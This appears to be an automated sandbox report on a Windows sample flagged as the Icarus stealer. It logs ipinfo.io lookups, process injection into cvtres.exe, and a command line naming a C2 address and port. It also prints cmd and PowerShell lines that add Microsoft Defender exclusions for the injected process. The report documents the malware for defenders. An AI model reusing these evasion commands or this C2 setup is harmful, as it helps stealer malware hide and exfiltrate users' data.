Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50462	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:32.517427921 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:33.169759035 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:32 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 5, 2024 16:47:33.203136921 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:32 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50464	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:35.160059929 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:35.640785933 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:35 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50466	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:37.806063890 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:38.294878960 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:37 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50468	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:40.452059031 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:40.928097010 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:40 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50470	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:43.088505030 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:43.570760965 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:43 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50472	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:45.728125095 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:46.202620983 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:45 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50474	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:48.449616909 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:47:48.926489115 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:48 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50476	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:51.091321945 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:51.576253891 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:50 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50478	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:53.745146036 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:54.219775915 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:53 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50480	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:56.388875961 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:57.013525009 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:56 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50482	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:59.062292099 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:48:00.299155951 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:59 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 5, 2024 16:48:00.299578905 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:59 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 5, 2024 16:48:00.299741983 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:59 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50484	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:01.714131117 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:48:02.192806005 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:02 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50486	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:04.337232113 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:48:04.810293913 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:04 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50488	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:06.978383064 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:48:07.471251011 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:07 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50490	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:09.596534014 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:48:10.092355967 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:09 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50492	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:12.167608976 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:48:12.669271946 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:12 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50494	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:14.744007111 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:48:15.223841906 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:14 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50496	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:17.259351015 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:48:17.731580973 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:16 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50498	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:19.748536110 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	50500	34.117.59.81	80

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:48:22.398751974 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:48:22.872123003 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:48:22 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Target ID:	0
Start time:	10:46:14
Start date:	05/10/2024
Path:	C:\Users\user\Desktop\licarisan_api.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\licarisan_api.exe"
Imagebase:	0x400000
File size:	4'038'008 bytes
MD5 hash:	65A683124FC4CA1839E95322370E2B0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:46:33
Start date:	05/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Imagebase:	0xb50000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Icarus, Description: Yara detected Icarus stealer, Source: 0000000A.00000002.1448247892.0000000008445000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:46:33
Start date:	05/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:46:33
Start date:	05/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
Imagebase:	0x760000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Icarus, Description: Yara detected Icarus stealer, Source: 0000000C.00000002.2503619664.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:46:33
Start date:	05/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /NoUACCheck
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:46:33
Start date:	05/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:46:34
Start date:	05/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /NoUACCheck
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:46:34
Start date:	05/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:46:34
Start date:	05/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:46:34
Start date:	05/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:46:34
Start date:	05/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:46:35
Start date:	05/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Imagebase:	0xf30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:46:35
Start date:	05/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
Imagebase:	0xf30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:47:32
Start date:	05/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7fb730000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	96.6%
Signature Coverage:	16.4%
Total number of Nodes:	1423
Total number of Limit Nodes:	179

Executed Functions

Function 007A6C25 Relevance: 84.5, APIs: 2, Strings: 46, Instructions: 503
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Strings

s, xrefs: 007A8B8F
t, xrefs: 007A8B65
r, xrefs: 007A8BE4
V, xrefs: 007A8BD6
V, xrefs: 007A8C5C
e, xrefs: 007A8C15
L, xrefs: 007A9208
c, xrefs: 007A8B81
L, xrefs: 007A9224
x, xrefs: 007A8B57
s, xrefs: 007A8B96
i, xrefs: 007A8BDD
y, xrefs: 007A924E
l, xrefs: 007A8C94
l, xrefs: 007A8C9B
A, xrefs: 007A8C8D
a, xrefs: 007A8BF9
r, xrefs: 007A9247
a, xrefs: 007A9216
o, xrefs: 007A8B7A
l, xrefs: 007A8C00
a, xrefs: 007A8C7F
b, xrefs: 007A9232
r, xrefs: 007A8C6A
r, xrefs: 007A9239
o, xrefs: 007A8CA2
e, xrefs: 007A8B88
u, xrefs: 007A8C78
e, xrefs: 007A8C1C
u, xrefs: 007A8BF2
P, xrefs: 007A8B6C
r, xrefs: 007A8C0E
E, xrefs: 007A8B50
F, xrefs: 007A8C07
r, xrefs: 007A8B73
i, xrefs: 007A8B5E
l, xrefs: 007A8C86
i, xrefs: 007A922B
d, xrefs: 007A921D
t, xrefs: 007A8BEB
W, xrefs: 007A9255
o, xrefs: 007A920F
t, xrefs: 007A8C71
c, xrefs: 007A8CA9
i, xrefs: 007A8C63
a, xrefs: 007A9240

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID: A$E$F$L$L$P$V$V$W$a$a$a$a$b$c$c$d$e$e$e$i$i$i$i$l$l$l$l$o$o$o$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y
API String ID: 1029625771-2526299333
Opcode ID: 8c3d988e9a67ed8fee7b140b24425a86b54a01020a060741ae632ad1be85c51e
Instruction ID: 4154316272c1b74ef57b097dcd6a65b036a90ecaf40d39e32166d91283532bb9
Opcode Fuzzy Hash: 8c3d988e9a67ed8fee7b140b24425a86b54a01020a060741ae632ad1be85c51e
Instruction Fuzzy Hash: D422B561D096A88AF7218B24CC447AABB75EF92304F0481F9D44CA7282D67E5FD5CF62

Function 007EF736 Relevance: 61.7, APIs: 1, Strings: 34, Instructions: 414
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,00000004,?), ref: 007EFAAF

Strings

t, xrefs: 007EFAEF
u, xrefs: 007EFAD3
OP=6, xrefs: 007F382A
s, xrefs: 007F3770
s, xrefs: 007EFB35
x, xrefs: 007F3738
e, xrefs: 007EFB27
i, xrefs: 007EFAF6
r, xrefs: 007EFB12
e, xrefs: 007EFB04
s, xrefs: 007EFB2E
b, xrefs: 007EFACC
o, xrefs: 007F375B
s, xrefs: 007F3777
c, xrefs: 007EFB20
r, xrefs: 007F3754
t, xrefs: 007EFB43
P, xrefs: 007F374D
D, xrefs: 007EFABE
e, xrefs: 007F3769
c, xrefs: 007EFAE8
E, xrefs: 007F3731
o, xrefs: 007EFB4A
S, xrefs: 007EFB3C
i, xrefs: 007F373F
p, xrefs: 007EFB51
t, xrefs: 007F3746
P, xrefs: 007EFB0B
c, xrefs: 007F3762
A, xrefs: 007EFAE1
o, xrefs: 007EFB19
g, xrefs: 007EFADA
e, xrefs: 007EFAC5
v, xrefs: 007EFAFD

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: A$D$E$OP=6$P$P$S$b$c$c$c$e$e$e$e$g$i$i$o$o$o$p$r$r$s$s$s$s$t$t$t$u$v$x
API String ID: 3559483778-1785805788
Opcode ID: 91f3712596a6694e812837967e646db4ef824f0782312ae84fa6a800b9c0e4ca
Instruction ID: 81495f418581a44c8f6e699d42e92f4481a892a8c409ba750356cd24b16dbf66
Opcode Fuzzy Hash: 91f3712596a6694e812837967e646db4ef824f0782312ae84fa6a800b9c0e4ca
Instruction Fuzzy Hash: 2D12BEB1E052A88AEB24CB15CC84BEABBB5AF99304F1441EAC40D67781D67D5FC1CF51

Function 007F1394 Relevance: 44.1, APIs: 1, Strings: 24, Instructions: 337
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

L, xrefs: 007F13C5
e, xrefs: 007F3769
L, xrefs: 007F13A9
OP=6, xrefs: 007F382A
E, xrefs: 007F3731
b, xrefs: 007F13D3
d, xrefs: 007F13BE
s, xrefs: 007F3770
r, xrefs: 007F13DA
a, xrefs: 007F13B7
x, xrefs: 007F3738
r, xrefs: 007F13E8
a, xrefs: 007F13E1
i, xrefs: 007F373F
o, xrefs: 007F375B
s, xrefs: 007F3777
y, xrefs: 007F13EF
i, xrefs: 007F13CC
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
o, xrefs: 007F13B0
P, xrefs: 007F374D
W, xrefs: 007F13F6

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$L$L$OP=6$P$W$a$a$b$c$d$e$i$i$o$o$r$r$r$s$s$t$x$y
API String ID: 983334009-205251571
Opcode ID: 12a1dc460291a7c7a91e330d57197651433e2a2924f89a8654363eb5aa09630b
Instruction ID: 60be3d6e55498047663ee6abf055955690aa4d7bcf6ea8b3dd3aefd844d71c60
Opcode Fuzzy Hash: 12a1dc460291a7c7a91e330d57197651433e2a2924f89a8654363eb5aa09630b
Instruction Fuzzy Hash: 1ED1D2B2D091A8DAEB208A24DC48BEABB75AF81314F4540F9D44C67281D7BD5FC5CF62

Function 007AA5C7 Relevance: 39.3, APIs: 1, Strings: 25, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
W, xrefs: 007AA620
j@h, xrefs: 007AB515
b, xrefs: 007AA5FD
a, xrefs: 007AA5E1
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
L, xrefs: 007AA5D3
r, xrefs: 007AA604
i, xrefs: 007AA5F6
d, xrefs: 007AB9E9
o, xrefs: 007AA5DA
d, xrefs: 007AA5E8
i, xrefs: 007AB9F7
L, xrefs: 007AA5EF
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
y, xrefs: 007AA619
a, xrefs: 007AA60B
r, xrefs: 007AA612
o, xrefs: 007AB9DB
r, xrefs: 007ABA13

Memory Dump Source

